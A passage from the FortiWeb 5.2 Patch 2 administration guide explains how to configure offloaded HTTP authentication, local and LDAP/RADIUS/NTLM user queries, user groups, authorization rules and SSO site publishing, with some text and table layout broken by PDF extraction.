•
“Cookie Poisoning Detection” on page 497
•
“Blocking known attacks & data leaks” on page 405
•
“Validating parameters (“input rules”)” on page 444
•
“Preventing tampering with hidden inputs” on page 453
•
“Preventing brute force logins” on page 375
•
“Specifying URLs allowed to initiate sessions” on page 438
If used within the content of HTTP, it is not as secure as HTTPS. For stronger protection, use form-based authentication with HTTPS.
Via a personal certificate
Alternatively or additionally to logging in by providing a password, clients can present an
X.509 v3 personal certificate. This can be a good choice for large organizations where:
• entering a password is onerous due to password length/complexity policies or the nature of the device (e.g. small touch screens on iPhone or Android smart phones, or highly secure environments)
• you control the endpoint devices, so it is possible to install personal certificates
If your clients will connect to your web sites using HTTPS, you can configure FortiWeb to require clients to present a personal certificate during the handshake in order to confirm their identities. This is sometimes called public key infrastructure (PKI) authentication ( RFC 5280 ).
Figure 38:A personal certificate prompt in Microsoft Internet Explorer
Fortinet
For details, see “How to apply PKI client authentication (personal certificates)” on page 310
.
233 FortiWeb 5.2 Patch 2 Administration Guide
Offloading HTTP authentication & authorization
If a web site does not support RFC 2617 HTTP authentication on its own, nor does it provide
HTML form-based authentication, you can use a FortiWeb appliance to authenticate
HTTP/HTTPS clients before they are permitted to access a web page.
User authentication is not supported in all operation modes. See
“Supported features in each operation mode” on page 69 .
Fortinet
Authentication can use either:
• locally-defined accounts
• remotely-defined accounts whose credentials are confirmed with the authentication server via LDAP queries, RADIUS queries, and/or NTLM queries
Based upon the:
• end-user’s confirmed identity
• URL she or he is requesting
FortiWeb then applies rules for that account to determine whether or not to authorize each of the user’s HTTP/HTTPS requests.
HTTP-based authentication provided by your FortiWeb can be used in conjunction with a web site that already has authentication. However, it is usually used as a substitute for a web site that lacks it, or where you have disabled it in order to offload it to the FortiWeb for performance reasons.
Some compliance schemes, including PCI DSS, require that each person have sole access to his or her account, and that that account be restricted from sensitive data such as cardholder information unless it has a business need-to-know. Be aware of such requirements before you begin. This can impact the number of accounts that you must create, as well as the number and scope of authorization rules. Violations can be expensive in terms of higher processing fees, being barred from payment transactions, and, in case of a security breach, penalties of up to
$500,000 per non-compliance.
To configure and activate end-user accounts
Alternatively or additionally, you can require the end-user to present a personal certificate in
.
1. Define user accounts in either or both of the following ways:
• If you want to define end-user accounts on the FortiWeb, create a user name and password record for each user. See
“Configuring local end-user accounts” on page 236 .
• If end-user account credentials are already defined on a remote authentication server,
configure a query to that server. See “Configuring LDAP queries” on page 238 ,
“Configuring RADIUS queries” on page 242
, or
“Configuring NTLM queries” on page 245 .
2. Group accounts and queries to create user groups. See “Grouping users” on page 246
.
234 FortiWeb 5.2 Patch 2 Administration Guide
.
5. Select the authorization policy in an inline protection profile. See
“Configuring a protection profile for inline topologies” on page 492
6. Select the inline protection profile in a server policy. See
“Configuring a server policy” on page 509
.
When you have configured HTTP authentication
1. If the client’s initial request does not already include an Authorization: field in its HTTP header, the FortiWeb appliance replies with an HTTP 401 Authorization Required response. The response includes a WWW-Authenticate: field in the HTTP header that indicates which style of authentication to use (basic, digest, or NTLM) and the name of the realm (usually the name, such as “Restricted Area”, of a set of URLs that can be accessed using the same set of credentials).
2. The browser then prompts its user to enter a user name and password. (The prompt may include the name of the realm, in order to indicate to the user which login is valid.) The browser includes the user-entered info in the Authorization: field of the HTTP header when repeating its request.
Figure 39:An HTTP authentication prompt in the Google Chrome browser
Fortinet
Valid user name formats vary by the authentication server. For example:
• For a local user, enter a user name in the format username.
• For LDAP authentication, enter a user name in the format required by the directory’s schema, which varies but could be a user name in the format username or an email address such as [email protected].
• For NTLM authentication, enter a user name in the format DOMAIN/username.
3. The FortiWeb appliance compares the supplied credentials to:
• the locally defined set of user accounts
• a set of user objects in a Lightweight Directory Access Protocol (LDAP) directory
• a set of user objects on a Remote Authentication and Dial-in User Service (RADIUS) server
• a set of user accounts on an NT LAN Manager (NTLM) server
235 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
4. If the client authenticates successfully, the FortiWeb appliance forwards the original request to the server.
If the client does not authenticate successfully, the FortiWeb appliance repeats its HTTP 401
Authorization Required
response to the client, asking again for valid credentials.
5. Once the client has authenticated with the FortiWeb appliance, if FortiWeb applies no other restrictions and the URL is found, it returns the web server’s reply to the client.
If the client’s browser is configured to do so, it can cache the realm along with the supplied credentials, automatically re-supplying the user name and password for each request with a matching realm. This provides convenience to the user; otherwise, the user would have to re-enter a user name and password for every request.
Advise users to clear their cache and close their browser after an authenticated session.
HTTP itself is stateless, and there is no way to actively log out. HTTP authentication causes cached credentials, which persist until the cache is cleared either manually, by the user, or automatically, when closing the browser window or tab. Failure to clear the cache could allow unauthorized persons with access to the user’s computer to access the web site using their credentials.
Clear text HTTP authentication is not secure. All user names and data (and, depending on the authentication style, passwords) are sent in clear text. If you require encryption and other security features in addition to authorization, use HTTP authentication with SSL/TLS (i.e.
See also
•
Configuring local end-user accounts
•
Configuring queries for remote end-user accounts
•
Applying user groups to an authorization realm
•
•
Configuring local end-user accounts
FortiWeb can use local end-user accounts to authenticate and authorize HTTP requests to protected web sites. For details, see
“Offloading HTTP authentication & authorization” on page 234 .
To configure a local user
1. Go to User > Local User > Local User.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Auth Users category. For details, see
2. Click Create New.
236 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
3. Configure these settings:
Setting name
Name
User Name
Password
Description
Type a name that can be referenced in other parts of the configuration, such as Jane Doe.
Do not use special characters. The maximum length is 35 characters.
Note:
This is not the user name that the person must provide when logging in to the CLI or web UI.
Type the user name that the client must provide when logging in, such as user1.
The maximum length is 63 characters.
Type a password for the user account.
The maximum length is 63 characters.
Tip:
For improved security, the password should be at least eight characters long, be sufficiently complex, and be changed regularly. To check the strength of your password, you can use a utility such as
Microsoft’s password strength meter .
4. Click OK.
5. To activate the user account, you must indirectly include it in a server policy that governs
connections to your web servers. Continue with “Grouping users”
. (For an overview, see “To configure and activate end-user accounts” on page 234
.)
See also
•
•
•
•
Configuring queries for remote end-user accounts
FortiWeb supports multiple query types that you can use to authenticate users with accounts stored on remote servers, rather than with accounts on the FortiWeb itself.
237 FortiWeb 5.2 Patch 2 Administration Guide
Configuring LDAP queries
FortiWeb can use LDAP queries to authenticate and authorize end-users’ HTTP requests to protected web sites. For details, see
web UI or CLI. For details, see
“Grouping remote authentication queries for administrators” on page 227 .
If you use an LDAP query for administrators, separate it from the queries for regular users. Do
not combine administrator and user queries into a single entry. Failure to separate queries will allow end-users to have administrative access the FortiWeb web UI and CLI. If administrators are in the same directory but belong to a different group than end-users, you can use
to exclude end-users from the administrator LDAP query.
Supported servers may implement the underlying technology and group membership in different ways, such as with OpenLDAP, Microsoft Active Directory, IBM Lotus Domino, and
Novell eDirectory. Match the distinguished names (DN) and group membership attributes
(
) with your LDAP directory’s schema.
If this query will be used to authenticate administrators, and your LDAP server is slow to answer, you may need to adjust the authentication timeout setting to prevent the query from failing. See the
FortiWeb CLI Reference
. (For end-user queries, configure
instead.)
To configure an LDAP query
1. Before you configure the query, if it will use a secure connection, you must upload the
2. Go to User > Remote Server > LDAP Server.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Auth Users category. For details, see
3. Click Create New.
A dialog appears.
Fortinet 238 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet
Setting name
Name
Server IP
Server Port
Common Name
Identifier
Description
Type a unique name that can be referenced in other parts of the configuration.
Do not use special characters. The maximum length is 35 characters.
Note: This is the name of the query only, not the administrator or end-user’s account name/login. Administrator account names are defined in
Type the IP address of the LDAP server.
Type the port number where the LDAP server listens.
The default port number varies by your selection in
Secure
Connection
: port 389 is typically used for non-secure connections or for STARTTLS-secured connections, and port 636 is typically used for SSL-secured (LDAPS) connections.
Type the identifier for the common name (CN) attribute (also called the CNID) whose value is the user name.
Identifiers vary by your LDAP directory’s schema. This is often cn or uid
. For Active Directory, it is often the attribute sAMAccountName
.
For example, in a default OpenLDAP directory, if a user object is:
uid
=hlee,cn=users,dc=example,dc=com then the CNID is uid.
For an additional example for Active Directory, see
“Example for a configuration for AD” on page 242 .
239 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Distinguished Name Specifies the Base DN from which the LDAP query starts. This DN is the full path in the directory to the user account objects.
For example: ou=People,dc=example,dc=com or
Bind Type
User DN
cn=users,dc=example,dc=com
Select one of the following LDAP query binding styles:
• Simple — Bind using the client-supplied password and a bind
DN assembled from the
Common Name Identifier
,
Distinguished
Name
, and the client-supplied user name.
• Regular — Bind using a bind DN and password that you configure in
User DN
and
Password
. This also allows for group authentication.
• Anonymous — Do not provide a bind DN or password. Instead, perform the query without authenticating. Select this option only if the LDAP directory supports anonymous queries.
Type the bind DN of an LDAP user account with permissions to query the
Distinguished Name
.
For example: cn=FortiWebA,dc=example,dc=com
Password
Filter
For Active Directory, the UPN (User Principle Name) is often used instead of a bind DN (for example, [email protected])
The maximum length is 255 characters.
This field can be optional if your LDAP server does not require the
FortiWeb appliance to authenticate when performing queries.
This field is not displaued if
Bind Type
is Anonymous or Simple.
Type the password of the
User DN
.
This field may be optional if your LDAP server does not require the
FortiWeb appliance to authenticate when performing queries, and does not appear if
Bind Type
is Anonymous or Simple.
Type an LDAP query filter string that filters the query’s results based on any attribute in the record set.
For example:
(&(|(objectClass=user)(objectClass=group)(objectCl ass=publicFolder)))
This filter improves the speed and efficiency of the queries.
For syntax, see an LDAP query filter reference. If you do not want to exclude any accounts from the query, leave this setting blank.
The maximum length is 255 characters.
This option appears when
Bind Type
is Regular.
240 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Group
Authentication
Group Type
Group DN
Description
Enable to filter the query results, only allowing users to authenticate
if they are members of the LDAP group that you define in
Users that are not members of that group will not be allowed to
.
This option appears only when
Bind Type
is Regular.
Indicate the schema of your LDAP directory, either:
• OpenLDAP — The directory uses a schema where each user object’s group membership is recorded in an attribute named gidNumber
. This is usually an OpenLDAP directory, or another directory where the object class inetOrgPerson or posixAccount
.
• Windows-AD — The directory uses a schema where each user object’s group membership is recorded in an attribute named memberOf
. This is usually a Microsoft Active Directory server.
• eDirectory — The directory uses a schema where each user object’s group membership is recorded in an attribute named groupMembership
. This is usually a Novell eDirectory server.
Group membership attributes may have different names depending on an LDAP directory schemas. The FortiWeb appliance will use the group membership attribute that matches your directory’s schema when querying the group DN.
This option appears only when Bind Type is Regular and Group
Authentication is enabled.
Type the value of the group membership attribute that query results must have in order to be able to authenticate.
The value may vary by your directory’s schema, but may be the distinguished name such as ou=Groups,dc=example,dc=com or a group ID (GID) such as 100.
This option appears only when
Bind Type
is Regular and
is enabled. The maximum length is 255 characters.
Secure Connection
Enable to connect to the LDAP servers using an encrypted
connection, then select the style of the encryption in
Protocol
Select which secure LDAP protocol to use, either
• LDAPS
• STARTTLS
The option appears only when Secure Connection is enabled.
5. Click OK.
6. If you enabled
Secure Connection
, upload the certificate of the CA that signed the directory server’s certificate (see
“Uploading trusted CAs’ certificates” on page 297 ).
7. Return to User > Remote Server > LDAP User, double-click the row of the query, then click the Test LDAP button to verify that FortiWeb can connect to the server, that the query is correctly configured, and that (if binding is enabled) the query bind is successful.
In username, type only the value of the CNID attribute, such as hlee, not the entire DN of the administrator’s account. In password, type the password for the account.
241 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
8. If the query is for administrator accounts that you want to allow to access the FortiWeb
).
If the query is for user accounts that you want to allow to authenticate with web servers, to activate the user account, you must indirectly include it in a server policy. Continue with
“Grouping users” . (For an overview, see
“To configure and activate end-user accounts” on page 234
.)
See also
•
•
Example for a configuration for AD
The following sample values are part of an LDP query for a Microsoft Active Directory (AD) domain server.
Setting
Common
Name
Identifier
Distinguished
Name
(Base DN)
Value
sAMAccountName
OU=CONTAINER,
DC=DOMAIN,DC=SUFFIX
Notes
In most cases, you use the Common Name
Identifier sAMAccountName as the container.
In some cases, userPrincipalName is used, especially if there is a domain forest.
Specifies the Base DN from which the LDAP query starts.
Filter
User DN
(&(objectCategory=person)
(objectClass=user)
(sAMAccountName=*)) [email protected]
If Common Name Identifier is userPrincipalName
, change sAMAccountName
to userPrincipalName.
This example uses the UPN (User Principle
Name) instead of a bind DN.
Configuring RADIUS queries
FortiWeb can use RADIUS queries to authenticate and authorize end-users’ HTTP requests (see
“Offloading HTTP authentication & authorization” on page 234
). FortiWeb can also use RADIUS queries to authenticate administrators’ access to the web UI or CLI (see
“Grouping remote authentication queries for administrators” on page 227 ).
If you use a RADIUS query for administrators, separate it from the queries for regular users. Do
not combine administrator and user queries into a single entry. Failure to separate queries will allow end-users to have administrative access the FortiWeb web UI and CLI.
242 FortiWeb 5.2 Patch 2 Administration Guide
Remote Authentication and Dial-in User Service (RADIUS) servers provide authentication, authorization, and accounting functions. The FortiWeb authentication feature uses RADIUS user queries to authenticate and authorize HTTP requests. (The HTTP protocol does not support active logouts, and can only passively log out users when their connection times out. Therefore
FortiWeb does not fully support RADIUS accounting.) RADIUS authentication with realms (i.e. the person logs in with an account such as [email protected]) are supported.
To authenticate a user or administrator, the FortiWeb appliance sends the user’s credentials to
RADIUS for authentication. If the RADIUS server replies to the query with a signal of successful authentication, the client is successfully authenticated with the FortiWeb appliance. If RADIUS authentication fails or the query returns a negative result, the appliance refuses the connection.
If this query will be used to authenticate administrators, and your RADIUS server is slow to answer, you may need to adjust the authentication timeout setting to prevent the query from failing. See the
FortiWeb CLI Reference
. (For end-user queries, configure
instead.)
To configure a RADIUS query
1. Before configuring the query, if you will configure a secure connection, you must upload the certificate of the CA that signed the RADIUS server’s certificate. For details, see
“Uploading trusted CAs’ certificates” on page 297 .
2. Go to User > Remote Server > RADIUS Server.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Auth Users category. For details, see
3. Click Create New.
A dialog appears.
Fortinet 243 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet
Setting name
Name
Server IP
Server Port
Server Secret
Description
Type a unique name that can be referenced in other parts of the configuration.
Do not use spaces or special characters. The maximum length is 35 characters.
Note: This is the name of the query only, not the administrator or end-user’s account name/login. Administrator account names are
. End-user names are not defined in the configuration; credentials provided by the person during login will be used for the query.
Type the IP address of the primary RADIUS server.
Type the port number where the RADIUS server listens.
The default port number is 1812.
Type the RADIUS server secret key for the primary RADIUS server.
The primary server secret key should be a maximum of 16 characters in length.
Secondary Server IP Type the IP address of the secondary RADIUS server, if applicable.
Secondary Server
Port
Type the port number where the RADIUS server listens.
The default port number is 1812.
Secondary Server
Secret
Type the RADIUS server secret key for the secondary RADIUS server. The secondary server secret key should be a maximum of 16 characters in length.
244 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Authentication
Scheme
NAS IP
Description
Select either:
• Default to authenticate with the default method. The default authentication scheme uses PAP, MS-CHAP-V2, and CHAP, in that order.
• MS-CHAP-V2, CHAP, MS-CHAP, or PAP, depending on what your
RADIUS server requires.
Type the NAS IP address and Called Station ID (for more information about RADIUS Attribute 31, see RFC 2548 Microsoft Vendor-specific
RADIUS Attributes). If you do not enter an IP address, the IP address that the FortiWeb appliance uses to communicate with the RADIUS server will be applied.
5. Click OK.
6. Return to User > Remote Server > LDAP User, double-click the row of the query, then click the Test RADIUS button to verify that FortiWeb can connect to the server, and that the query is correctly configured.
7. If the query is for administrator accounts that you want to allow to access the FortiWeb web
UI, select the query in a remote authentication query group (see
“Grouping remote authentication queries for administrators” on page 227
).
For access profiles, FortiWeb appliances support RFC 2548 Microsoft Vendor-specific
RADIUS Attributes. If you do not want to use them, you can configure them locally instead.
See “Configuring access profiles” on page 226
.
If the query is for user accounts that you want to allow to authenticate with web servers, to activate the user account, you must indirectly include it in a server policy. Continue with
“Grouping users” . (For an overview, see
“To configure and activate end-user accounts” on page 234
.)
See also
•
Grouping remote authentication queries for administrators
•
•
Configuring NTLM queries
NT LAN Manager (NTLM) queries can be made to a Microsoft Windows or Active Directory server that is configured for NTLM authentication. FortiWeb supports both NTLM v1 and
NTLM v2.
FortiWeb can use NTLM queries to authenticate and authorize HTTP requests. For more
information, see “Applying user groups to an authorization realm” on page 248 .
245 FortiWeb 5.2 Patch 2 Administration Guide
To configure an NTLM query
1. Go to User > Remote Server > NTLM Server.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Auth Users category. For details, see
2. Click Create New.
A dialog appears.
Fortinet
3. In Name, type a unique name that can be referenced by other parts of the configuration. This is the name of the query only, not the end-user’s account name/login. Do not use spaces or special characters. The maximum length is 35 characters.
4. For Server IP, type the IP address of the NTLM server that will be queried.
5. For Port, type the TCP port number where the NTLM server listens for queries.
6. Click OK.
7. To activate the user account, you must indirectly include it in a server policy that governs
connections to your web servers. Continue with “Grouping users”
. (For an overview, see “To configure and activate end-user accounts” on page 234
.)
Grouping users
To denote which set of people is authorized to request specific URLs when configuring HTTP authentication offloading, you must create user groups.
A user group can include a mixture of local end-user accounts, LDAP queries, RADIUS queries, and NTLM queries. Therefore, on FortiWeb, a user group could be set of accounts, or it could be a set of queries instead.
To configure a user group
1. Before you can configure a user group, you must first configure one or more local end-user accounts or queries to remote authentication servers. See:
•
“Configuring local end-user accounts” on page 236
•
“Configuring LDAP queries” on page 238
•
“Configuring RADIUS queries” on page 242
•
“Configuring NTLM queries” on page 245
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Auth Users category. For details, see
2. Go to User > User Group > User Group.
246 FortiWeb 5.2 Patch 2 Administration Guide
3. Click Create New.
A dialog appears.
4. In Name, type a name that can be referenced by other parts of the configuration. Do not use special characters. The maximum length is 35 characters.
5. In Auth Type, select one of the authentication types:
• Basic — Clear text. This is the original and most compatible authentication scheme for
HTTP. However, it is also the least secure as it sends the user name and password unencrypted to the server.
• Digest — Encrypts the password and thus is more secure than the basic authentication.
• NTLM — Uses a proprietary protocol of Microsoft and is considered to be more secure than basic authentication.
6. Click OK.
The Create New button for this item, below its name, will no longer be greyed out, indicating that it has become available.
7. Click Create New.
A dialog appears that enables you to add members to the group.
Fortinet
8. In User Type, select the type of user or user query you want to add to the group. Available options vary with the setting for the group’s Auth Type option.
You can mix user types in the group. However, if the authentication rule’s Auth Type does not support a given user type, all user accounts of that type will be ignored, effectively disabling them.
9. From User Name, select the name of an existing user account, LDAP query, or RADIUS query. Available options vary by your selection in User Type.
10.Click OK.
11.Repeat the previous steps for each user or query that you want to add to the group.
12.Select the user group in an authorization rule (see
“Applying user groups to an authorization realm” on page 248 ).
247 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
Configuring local end-user accounts
•
•
•
•
Offloading HTTP authentication & authorization
Applying user groups to an authorization realm
Authentication rules are used by the HTTP authentication policy to define sets of request URLs that will be authorized for each end-user group.
Alternatively, you can configure site publishing, which has the additional advantage of
optionally providing SSO for multiple web applications. See “Single sign-on (SSO)” on page 253 .
To configure an authentication rule
1. Before you can configure an authentication rule set, you must first configure any user groups that you want to include. For details, see
“Grouping users” on page 246 .
If you want to apply rules only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names group. For details, see
“Defining your protected/allowed HTTP “Host:” header names” on page 260
.
2. Go to Application Delivery > Authentication Policy > Authentication Rule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
Clear all
Edit
Delete
4. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
248 FortiWeb 5.2 Patch 2 Administration Guide
5. If you want to require that the Host: field of the HTTP request matches a protected host entry in order to match the HTTP authentication rule, do the following:
• Enable Host Status.
• From Host, select which protected host entry (either a web host name or IP address) the
Host:
field of the HTTP request must be. The list contains hosts configured in a protected host names group. For details, see
“Defining your protected/allowed HTTP
“Host:” header names” on page 260
.
6. Click OK.
7. Click Create New.
A dialog appears.
8. Configure these settings:
Setting name
Description
Auth Type
Select which type of HTTP authentication to use:
• Basic — Clear text, Base64-encoded user name and password.
Supports all user queries except NTLM. NTLM users will be ignored if included in the user group.
• Digest — Hashed user name, realm, and password. Only local users are supported. Other types are ignored if included in the user group.
• NTLM — Encrypted user name and password. Only NTLM queries are supported. Other types are ignored if included in the user group.
For more information on available user types, see
.
User Group
Select the name of an existing end-user group that is authorized to use the
URL in
Auth Path
.
Fortinet 249 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Description
User Realm Type the realm, such as Restricted Area, to which the
Auth Path
belongs.
The realm is often used by browsers:
• It may appear in the browser’s prompt for the user’s credentials.
Especially if a user has multiple logins, and only one login is valid for that specific realm, displaying the realm helps to indicate which user name and password should be supplied.
• After authenticating once, the browser may cache the authentication credentials for the duration of the browser session. If the user requests another URL from the same realm, the browser often will automatically re-supply the cached user name and password, rather than asking the user to enter them again for each request.
The realm may be the same for multiple authentication rules, if all of those
URLs permit the same user group to authenticate.
For example, the user group All_Employees could have access to the
Auth Path
URLs /wiki/Main and /wiki/ToDo. These URLs both belong to the realm named Intranet Wiki. Because they use the same realm name, users authenticating to reach /wiki/Main usually will not have to authenticate again to reach /wiki/ToDo, as long as both requests are within the same browser session.
Auth Path
This field does not appear if
Auth Type
is NTLM, which does not support
HTTP-style realms.
Type the literal URL, such as /employees/holidays.html, that a request must match in order to invoke HTTP authentication.
9. Click OK.
10.Repeat the previous steps for each user that you want to add to the authentication rules.
11.Group the authentication rule in an authentication policy. For details, see
“Grouping authorization rules” on page 250 .
Grouping authorization rules
Often, you may want to specify multiple authorization realms to apply to a single server policy.
Before you can use authorization rules in a protection profile, you must group them together.
(These sets are called “authentication policies” in the web UI).
Authentication policies also contain settings such as connection and cache timeouts that will be applied to all requests authenticated using this authentication policy.
Alternatively or in addition to HTTP authentication, with SSL connections, you can require that clients present a valid personal certificate. For details, see
“Certificate Verification” on page 520 .
250 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
To configure an authentication policy
1. Before you can configure an authentication policy, you must first configure:
•
end-users (see “Configuring local end-user accounts” on page 236
,
“Configuring LDAP queries” on page 238 , or
“Configuring NTLM queries” on page 245 )
•
user groups (see “Grouping users” on page 246
)
• one or more authorization rules to select the authorization mechanism, select the user group, and the set of URLs that is the authorization realm (see
“Applying user groups to an authorization realm” on page 248 )
2. Go to Application Delivery > Authentication Policy > Authentication Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
4. Configure these settings:
Clear all
Edit
Delete
Setting name
Name
Description
Type a unique name that can be referenced in other parts of the configuration.
Connection
Timeout
Do not use spaces or special characters. The maximum length is 35 characters.
Type the connection timeout for the query to the FortiWeb’s query to the remote authentication server in milliseconds.
The default is 2,000 (2 seconds). If the authentication server does not answer queries quickly enough, to prevent dropped connections, increase this value.
251 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Cache
Description
Enable if you want to cache authentication query results.
Tip:
This can improve performance, especially if the connection to the remote authentication server is slow or experiences latency.
Alert Type
Select whether to log authentication failures and/or successes:
• None — Do not generate an alert email and/or log message.
• Failed Only — Alert email and/or log messages are caused only by HTTP authentication failures.
• Successful Only — Alert email and/or log messages are caused only by successful HTTP authentication.
• All — Alert email and/or log messages are caused for all HTTP authentication attempts, regardless of success or failure.
Event log messages contain the user name, authentication type, success or failure, and source address (for example, User jdoe HTTP BASIC login successful from 172.20.120.46
) when an end-user successfully authenticates. A similar message is recorded if the authentication fails (for example, User hackers HTTP BASIC login failed from
172.20.120.227
).
, also configure the following:
Setting name Description
Cache Timeout Type the number of seconds that authentication query results will be cached.
When a record’s timeout is reached, FortiWeb will remove it from the cache. Subsequent requests from the client will cause FortiWeb to query the authentication server again, adding the query results to the cache again.
This setting is applicable only if
is enabled. The default value is
300.
6. Click OK.
7. Click Create New.
A dialog appears.
8. From the Auth Rule drop-down list, select the name of an authentication rule.
9. Click OK.
10.Repeat the previous steps for each individual rule that you want to add to the authentication policy.
252 FortiWeb 5.2 Patch 2 Administration Guide
11.To apply the authentication policy, select it in an inline protection profile that is included in a policy (see
“Configuring a protection profile for inline topologies” on page 492 ).
If you have enabled logging, you can also make reports such as “Top Failed Authentication
Events By Day” and “Top Authentication Events By User” to identify hijacked accounts or slow brute force attacks. See
.
See also
•
Applying user groups to an authorization realm
•
Single sign-on (SSO)
If:
• your users will be accessing multiple web applications on your domain, and
• you have defined accounts centrally on an LDAP (such as Microsoft Active Directory) or
RADIUS server you may want to configure single sign-on (SSO) and combination access control and authentication (called “site publishing” in the GUI) instead of configuring simple HTTP authentication rules. SSO provides a benefit over HTTP authentication rules: when SSO is enabled, your users do not need to authenticate each time they access separate web applications in your domain. When FortiWeb receives the first request, it will return (depending on your configuration) an HTML authentication form or HTTP WWW-Authenticate: code to the client.
Fortinet
FortiWeb forwards the client’s credentials in a query to the authentication server. Once the client is successfully authenticated, if you have configured FortiWeb to delegate, FortiWeb forwards the credentials to the web application. The server’s response is returned to the client. Until the
253 FortiWeb 5.2 Patch 2 Administration Guide
session expires, subsequent requests from the client to the same or other web applications in the same domain do not require the client to authenticate again.
For example, you may prefer SSO if you are using FortiWeb to replace your discontinued
Microsoft Threat Management Gateway, using it as a portal for multiple applications such as
SharePoint, Outlook Web Application, Lync, and/or IIS. Your users will only need to authenticate once while using any or all of those resources.
If you do not want to apply SSO, but still want to publish multiple sites through the same server policy, apply the same steps, except do not enable SSO.
To configure offloaded authentication with optional SSO
1. Before you can configure SSO, you must first configure queries for end-users (see
“Configuring LDAP queries” on page 238 or
“Configuring RADIUS queries” on page 242 ).
2. Go to Application Delivery > Site Publish > Site Publish Rule.
Fortinet 254 FortiWeb 5.2 Patch 2 Administration Guide
3. Click Create New and configure the settings:
Fortinet
Setting name Description
Name
Type a unique name that can be referenced in other parts of the configuration, such as cms-publisher1.
Do not use spaces or special characters. The maximum length is 35 characters.
Request Type
Select whether
will contain a literal FQDN (plain), or a
regular expression designed to match multiple host names or fully qualified domain names (regular).
Published Site
Depending on your selection in
• the literal Host: name, such as sharepoint.example.com, that the HTTP request must contain in order to match the rule.
• a regular expression, such as ^*\.example\.edu, matching all and only the host names to which the rule should apply.
The maximum length is 255 characters.
Note: Regular expressions beginning with an exclamation point ( ! ) are not supported. For information on language and regular expression matching, see
“Regular expression syntax” on page 704
.
Path
Type the URL of the request for the web application, such as /owa. It must begin with a forward slash ( / ).
Client
Authentication
Method
Select which method FortiWeb should use to present the authentication dialog to the requesting client, either:
• return an HTML web page with an authentication form (HTML Form
Authentication), or
• return an HTTP AUTH code so that the browser displays its own dialog
(HTTP Basic Authentication)
255 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Published
Server Log Off
Path
Optionally, type the URL of the request that a client sends to log out of the application, such as /owa/auth/logoff.aspx?Cmd=logoff. When logging out of the web application, the client will be redirected to
FortiWeb’s authentication dialog.
Authentication.
Authentication
Validation
Method
Depending on which query you want to use to authenticate clients, select either LDAP or RADIUS.
LDAP Server
or
RADIUS Server
Select the name of the authentication query that FortiWeb will use to pass credentials to your authentication server.
Authentication
Delegation
Select what FortiWeb should do with credentials after the client successfully authenticates with the authentication server, either:
• HTTP Basic — Use HTTP Authorization: headers with Base64 encoding to forward the client’s credentials to the web application.
Typically you should select this option if the web application supports
HTTP protocol-based authentication.
• No Delegation — Do not send the client’s credentials to the web application. Typically you should select this option if the web application has no authentication of its own, or uses HTML
form-based authentication.
Note: If the web application uses HTML form-based authentication, the client will be required to authenticate twice: once with FortiWeb, and then once again with the web application’s form.
SSO Support
Enable for single sign-on support.
For example, if this web site is www1.example.com and the SSO domain is .example.com, once a client has authenticated with that site, it can access www2.example.com without authenticating a second time.
Site publishing SSO sessions exist on FortiWeb only; they are not synchronized to the authentication and/or accounting server, and therefore SSO is not shared with non-web applications. For SSO with other protocols, consult the documentation for your FortiGate or other firewall.
256 FortiWeb 5.2 Patch 2 Administration Guide
Setting name Description
SSO Domain
Type the domain suffix of Host: names that will be allowed to share this rule’s authentication sessions, such as .example.com. Include the period ( . ) that precedes the host’s name.
Alert Type
Select whether to log authentication failures and/or successes:
• None — Do not generate an alert email and/or log message.
• Failed Only — Alert email and/or log messages are caused only by authentication failures.
• Successful Only — Alert email and/or log messages are caused only by successful authentication.
• All — Alert email and/or log messages are caused for all HTTP authentication attempts, regardless of success or failure.
Event log messages contain the user name, authentication type, success or failure, and source address (for example, User jdoe [Site
Publish] login successful from 172.0.2.5
) when an end-user successfully authenticates. A similar message is recorded if the authentication fails (for example, User hackers [Site Publish] login failed from 172.0.2.5
).
4. Click OK.
5. Go to Application Delivery > Site Publish > Site Publish Policy.
6. Click Create New.
7. In Name, type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
8. Click Create New and in Rule, select the name of a site publishing rule.
9. Repeat the previous step for each web application that will be part of the SSO domain.
10.Click OK.
11.Select the site publishing policy in an inline web protection profile (see
applying your domain’s virtual servers.
12.To verify the configuration, log in to one of the web applications, then log in to another web application in the same domain that should be part of the SSO domain.
See also
•
Offloading HTTP authentication & authorization
Example: Enforcing complex passwords
Fortinet
Example Co. web hosting needs to enforce reasonably secure passwords on web applications that do not provide this feature themselves. Since end users already authenticate with the web applications, Example Co. does not need to configure FortiWeb with user accounts to apply authentication — in other words, authentication offloading is not required. Instead, they simply need to enforce the security policy in the authentication transactions that already exist between the clients and web servers.
To do this, Example Co. would configure and apply an input rule (see
(“input rules”)” on page 444 ). This rule either could use a predefined data type to require
password complexity (Level 2 Password — see “Predefined data types” on page 175 ), or could
257 FortiWeb 5.2 Patch 2 Administration Guide
use a custom-defined data type to allow or require additional special characters for additional strength (see
“Defining custom data types” on page 452
).
Fortinet 258 FortiWeb 5.2 Patch 2 Administration Guide
Defining your web servers & load balancers
